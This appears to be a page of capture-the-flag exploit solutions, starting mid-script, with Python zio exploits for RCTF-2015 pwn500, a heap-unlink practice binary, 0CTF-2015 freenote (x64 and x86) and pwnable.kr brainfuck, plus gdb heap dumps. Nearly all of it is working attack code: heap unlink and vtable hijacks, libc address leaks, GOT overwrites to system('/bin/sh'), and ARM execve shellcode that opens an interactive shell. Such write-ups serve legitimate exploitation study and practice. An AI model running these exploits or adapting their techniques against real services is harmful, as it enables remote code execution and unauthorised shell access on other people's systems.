fakeMovie += ("b"*16).ljust(64,'\x00')
fakeMovie += ("f"*0x80)
fakeMovie += l64(0x42c80000)
fakeMovie += l64(address)
assert len(fakeMovie) == 0xd8
addMovie("a"*0x10,fakeMovie,"100","f"*0x7f)
showAll()
io.read_until("actors: ")
io.read_until("actors: ")
leak = l64(io.readline().strip().ljust(8,'\x00'))
#print "[*] Got [0x%x] 0x%x " % (address,leak)
removeEntry("a"*0x10)
removeEntry("b"*0x10)
return leak

# call any address
def callAddr(vtable,address):
addTV("a"*0x10,"0","100","f"*0x7f)
addTV("b"*0x10,"0","100","f"*0x7f)
addTV("b"*0x10,"0","100","f"*0x7f)
removeEntry("a"*0x10)
removeEntry("b"*0x10)
fakeMovie = ""
fakeMovie += l64(vtable)
fakeMovie += ("b"*16).ljust(64,'\x00')
fakeMovie += ("f"*0x80)
fakeMovie += l64(0x42c80000)
fakeMovie += l64(address)
assert len(fakeMovie) == 0xd8
addMovie("a"*0x10,fakeMovie,"100","f"*0x7f)
showAll()

heap = readAddr(0x601dc0) - 0x10
vtable = heap + 0x1c0
print "[*] Got heap 0x%x" % heap

puts = readAddr(0x601c40)
libc = puts - 0x6fe30
print "[*] Got libc_base 0x%x " % (libc)
print "[*] Got spawn_Shell 0x%x" % (libc + 0x46520)


callAddr(vtable,libc + 0x46520)

io.interact()

RCTF-2015-Quals-pwn500

Download: g27_9f47c9e9d3e7605f3bbdd4f92e51250d
g27_9f47c9e9d3e7605f3bbdd4f92e51250d.idb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from zio import *

# create socket
host = "127.0.0.1"
port = 2333
io = zio((host,port))

# check ID
check_id = '1' * 17 + '0'
io.read_until("Input your ID to check in:\n")
io.writeline(check_id)

# enable cantin
io.read_until("choose:\n")
io.writeline('1')
io.read_until("3.CanTin\n")
io.writeline('1')
io.read_until("Which carriage?\n")
io.writeline('5')

# read access code
io.read_until("choose:\n")
io.writeline('1')
io.writeline('1')
io.writeline('0')
io.writeline("Bigtang")

# leak access code
io.read_until("choose:\n")
io.writeline('1')
io.writeline('3')
io.read_until("want?\n")
hungry = -235
io.writeline(str(hungry))
io.read_until("choose:\n")
io.writeline("4")

# open access code
io.read_until("choose:\n")
io.writeline('1')
io.read_until("3.CanTin\n")
io.writeline('1')
io.read_until("Which carriage?\n")
io.writeline('0')
io.read_until("Access code:")
io.writeline('\x58'*0x32)

# shellcode = ""
# shellcode += "\x01\x60\x8f\xe2" # add r6, pc, #1
# shellcode += "\x16\xff\x2f\xe1" # add bx r6
# shellcode += "\x40\x40" # eors r0, r0
# shellcode += "\x78\x44" # add r0, pc
# shellcode += "\x0c\x30" # adds r0, #12
# shellcode += "\x49\x40" # eors r1, r1
# shellcode += "\x52\x40" # eors r2, r2
# shellcode += "\x0b\x27" # movs r7, #11
# shellcode += "\x01\xdf" # svc 1
# shellcode += "\x01\x27" # movs r7, #1
# shellcode += "\x01\xdf" # svc 1
# shellcode += "\x2f\x2f" # .short 0x2f2f
# shellcode += "\x62\x69\x6e\x2f" # .word 0x2f6e6962
# shellcode += "\x2f\x73" # .short 0x732f
# shellcode += "\x68" # .byte 0x68

shellcode = ""
shellcode += "\x01\x30\x8f\xe2"
shellcode += "\x13\xff\x2f\xe1"
shellcode += "\x78\x46\x08\x30"
shellcode += "\x49\x1a\x92\x1a"
shellcode += "\x0b\x27\x01\xdf"
shellcode += "\x2f\x62\x69\x6e"
shellcode += "\x2f\x73\x68"

io.writeline('1')
io.writeline(shellcode)
#raw_input("Debug")
#io.writeline("whoami")
io.interact()

Practice-2016-heap-unlink

Download: heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from zio import *

#io = zio('./heap')
io = zio(('127.1',6666))

def Add_chunk(length):
io.writeline('1')
io.read_until('Input the size of chunk you want to add:')
io.writeline(str(length))

def Set_chunk(index,data):
io.writeline('2')
io.read_until('Set chunk index:')
io.writeline(str(index))
io.read_until('Set chunk data:')
io.write(data)

def Delete_chunk(index):
io.writeline('3')
io.read_until('Delete chunk index:')
io.writeline(str(index))

def Print_chunk(index):
io.writeline('4')
io.read_until('Print chunk index:')
io.writeline(str(index))

Add_chunk(0x80)
Add_chunk(0x80)
Add_chunk(0x80)

ptr = 0x8049d60
fd = ptr - 0xc
bk = ptr - 0x8
payload = ''
payload += l32(0) + l32(0x89) + l32(fd) + l32(bk) + 'A'*(0x80-4*4)
payload += l32(0x80) + l32(0x88)
Set_chunk(0, payload)
Set_chunk(2, '/bin/sh'.ljust(0x80,'\0'))
Delete_chunk(1)

free_got = 0x8049ce8
payload = l32(0)*3 + l32(free_got)
Set_chunk(0, payload)

Print_chunk(0)
system = l32(io.read(4)) - 0xf75afc60 + 0xf7579190
Set_chunk(0, l32(system))

Delete_chunk(2)
io.interact()

0CTF-2015-Quals-freenote-x64

Download: freenote_x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from zio import *

host = '127.0.0.1'
port = 10001
#target = (host,port)
target = './freenote_x64'

io = zio(target,timeout=2333,print_read=COLORED(REPR,"yellow"),print_write=COLORED(REPR,"red"))

def List_Note():
io.read_until('Your choice: ')
io.writeline('1')

def New_Note(note):
io.read_until('Your choice: ')
io.writeline('2')
io.read_until('Length of new note: ')
io.writeline(str(len(note)))
io.read_until('Enter your note: ')
io.write(note)

def Edit_Note(num,note):
io.read_until('Your choice: ')
io.writeline('3')
io.read_until('Note number: ')
io.writeline(str(num))
io.read_until('Length of note: ')
io.writeline(str(len(note)))
io.read_until('Enter your note: ')
io.writeline(note)

def Delete_Note(num):
io.read_until('Your choice: ')
io.writeline('4')
io.read_until('Note number: ')
io.writeline(str(num))

def Exit():
io.read_until('Your choice: ')
io.writeline('5')

io.gdb_hint([0x400b14])

# leak libc
New_Note('a'*0x10)
New_Note('b'*0x10)
New_Note('c'*0x10)
New_Note('d'*0x10)
Delete_Note(0)
Delete_Note(2)
New_Note('e'*0x8)
New_Note('f'*0x8)
List_Note()
io.read_until('e'*0x8)
heap_base = l64(io.read_until('\n').strip().ljust(8,'\x00'))
io.read_until('f'*0x8)
libc_base = l64(io.read_until('\n').strip().ljust(8,'\x00'))
Delete_Note(3)
Delete_Note(2)
Delete_Note(1)
Delete_Note(0)

system = libc_base + 0x7fde9b68f4f0 - 0x7fde9b9f1678
bin_sh = libc_base + 0x7fde9b7af160 - 0x7fde9b9f1678
heap = heap_base - 0x1940
print hex(system)
print hex(heap)


fd = heap + 0x30 - 0x8*3
bk = heap + 0x30 - 0x8*2
payload = ''
payload += l64(0) + l64(0x81)
payload += l64(fd) + l64(bk)
payload += 'A'*(0x80-0x20)
payload += l64(0x80) + l64(0x90)
payload += 'B'*0x80
payload += l64(0) + l64(0x91)
#payload += 'C'*(0x20)
print len(payload)
New_Note(payload)
Delete_Note(1)

free_got = 0x602018
payload2 = ''
payload2 += l64(3)
payload2 += l64(1) + l64(8) + l64(bin_sh)
payload2 += l64(1) + l64(8) + l64(free_got)
payload2 += 'C'*(len(payload)-len(payload2))
Edit_Note(0,payload2)
#List_Note()
Edit_Note(1,l64(system))
#List_Note()
Delete_Note(0)

io.interact()

0CTF-2015-Quals-freenote-x86

Download: freenote_x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from zio import *

host = '127.0.0.1'
port = 10001
target = (host,port)
#target = './freenote_x86'

io = zio(target,timeout=2333)#,print_read=NONE,print_write=NONE)

def List_Note():
io.read_until('Your choice: ')
io.writeline('1')

def New_Note(note):
io.read_until('Your choice: ')
io.writeline('2')
io.read_until('Length of new note: ')
io.writeline(str(len(note)))
io.read_until('Enter your note: ')
io.write(note)

def Edit_Note(num,note):
io.read_until('Your choice: ')
io.writeline('3')
io.read_until('Note number: ')
io.writeline(str(num))
io.read_until('Length of note: ')
io.writeline(str(len(note)))
io.read_until('Enter your note: ')
io.writeline(note)

def Delete_Note(num):
io.read_until('Your choice: ')
io.writeline('4')
io.read_until('Note number: ')
io.writeline(str(num))

def Exit():
io.read_until('Your choice: ')
io.writeline('5')

#io.gdb_hint([0x08048860])

# leak libc
New_Note('a'*0x10)
New_Note('b'*0x10)
New_Note('c'*0x10)
New_Note('d'*0x10)
Delete_Note(0)
Delete_Note(2)
New_Note('e'*0x4)
New_Note('f'*0x4)
List_Note()
io.read_until('eeee')
heap_base = l32(io.read(4))
io.read_until('ffff')
libc_base = l32(io.read(4))
Delete_Note(3)
Delete_Note(2)
Delete_Note(1)
Delete_Note(0)

system = libc_base + 0xf759a360 - 0xf7702450
bin_sh = libc_base + 0xf76b91a9 - 0xf7702450
heap = heap_base - 0xd28
print hex(heap)
List_Note()

fd = heap + 0x18 - 0xc
bk = heap + 0x18 - 0x8
payload = ''
payload += l32(0) + l32(0x81)
payload += l32(fd) + l32(bk)
payload += 'A'*(0x80-0x10)
payload += l32(0x80) + l32(0x88)
payload += 'B'*0x80
payload += l32(0) + l32(0x89) #+ 'C'*0x60
#Exit()

New_Note(payload)
Delete_Note(1)

free_got = 0x0804a29c
payload2 = ''
payload2 += l32(3)
payload2 += l32(1) + l32(4) + l32(bin_sh)
payload2 += l32(1) + l32(4) + l32(free_got)
payload2 += 'C'*(len(payload)-len(payload2))
Edit_Note(0,payload2)
#List_Note()
Edit_Note(1,l32(system))
#List_Note()
Delete_Note(0)

io.interact()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
gdb-peda$ x/20wx 0x96cf000
0x96cf000: 0x00000000 0x00000c19 0x00000100 0x00000003
0x96cf010: 0x00000001 0x00000080 0x096cfc20 0x00000001
0x96cf020: 0x00000080 0x096cfca8 0x00000001 0x00000080
0x96cf030: 0x096cfd30 0x00000000 0x00000000 0x096cfdb8

gdb-peda$ x/110wx 0x96cfc18
0x96cfc18: 0x00000000 0x00000089 0x41414141 0x41414141
0x96cfc28: 0x41414141 0x41414141 0x41414141 0x41414141
0x96cfc38: 0x41414141 0x41414141 0x41414141 0x41414141
0x96cfc48: 0x41414141 0x41414141 0x41414141 0x41414141
0x96cfc58: 0x41414141 0x41414141 0x41414141 0x41414141
0x96cfc68: 0x41414141 0x41414141 0x41414141 0x41414141
0x96cfc78: 0x41414141 0x41414141 0x41414141 0x41414141
0x96cfc88: 0x41414141 0x41414141 0x41414141 0x41414141
0x96cfc98: 0x41414141 0x41414141 0x00000088 0x00000089
0x96cfca8: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfcb8: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfcc8: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfcd8: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfce8: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfcf8: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfd08: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfd18: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfd28: 0x00000000 0x00000089 0x43434343 0x43434343
0x96cfd38: 0x43434343 0x43434343 0x43434343 0x43434343
0x96cfd48: 0x43434343 0x43434343 0x43434343 0x43434343
0x96cfd58: 0x43434343 0x43434343 0x43434343 0x43434343
0x96cfd68: 0x43434343 0x43434343 0x43434343 0x43434343
0x96cfd78: 0x43434343 0x43434343 0x43434343 0x43434343
0x96cfd88: 0x43434343 0x43434343 0x43434343 0x43434343
0x96cfd98: 0x43434343 0x43434343 0x43434343 0x43434343
0x96cfda8: 0x43434343 0x43434343 0x00000198 0x00020251

gdb-peda$ x/20wx 0x96cf000
0x96cf000: 0x00000000 0x00000c19 0x00000100 0x00000001
0x96cf010: 0x00000001 0x00000180 0x096cfc20 0x00000000
0x96cf020: 0x00000000 0x096cfca8 0x00000000 0x00000000
0x96cf030: 0x096cfd30 0x00000000 0x00000000 0x096cfdb8

gdb-peda$ x/110wx 0x96cfc18
0x96cfc18: 0x00000000 0x00000189 0x00000000 0x00000081
0x96cfc28: 0x096cf00c 0x096cf010 0x42424242 0x42424242
0x96cfc38: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfc48: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfc58: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfc68: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfc78: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfc88: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfc98: 0x42424242 0x42424242 0x00000080 0x00000088
0x96cfca8: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfcb8: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfcc8: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfcd8: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfce8: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfcf8: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfd08: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfd18: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfd28: 0x00000000 0x00000089 0x42424242 0x42424242
0x96cfd38: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfd48: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfd58: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfd68: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfd78: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfd88: 0x42424242 0x42424242 0x42424242 0x42424242
0x96cfd98: 0x42424242 0x42424242 0x43434343 0x00020261
0x96cfda8: 0x43434343 0x43434343 0x00000198 0x00020251

Pwnable.kr-brainfuck

Download: bf bf_libc.so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from zio import *

offset_gets = 0x66e50
offset_fgets = 0x65bc0
offset_system = 0x3f250
main = 0x08048671

target = ('pwnable.kr',9001)
io = zio(target,timeout=100000,print_read=COLORED(REPR,"yellow"),\
print_write=COLORED(REPR,"red"))
io.read_until('[ ]\n')

payload = ''
payload += '<'*(0xa0-0x10)
payload += '.>.>.>.'
payload += '<<<'
payload += ',>,>,>,>'
payload += '>'*24
payload += ',>,>,>,>'
payload += ',>,>,>,>.'

#io.gdb_hint([0x8048655])

io.writeline(payload)
fgets = l32(io.read(4))
#print hex(fgets)
system = fgets-offset_fgets+offset_system
gets = fgets-offset_fgets+offset_gets

io.write(l32(system))
io.write(l32(gets))
io.write(l32(main))
io.writeline('/bin/sh\x00')
io.interact()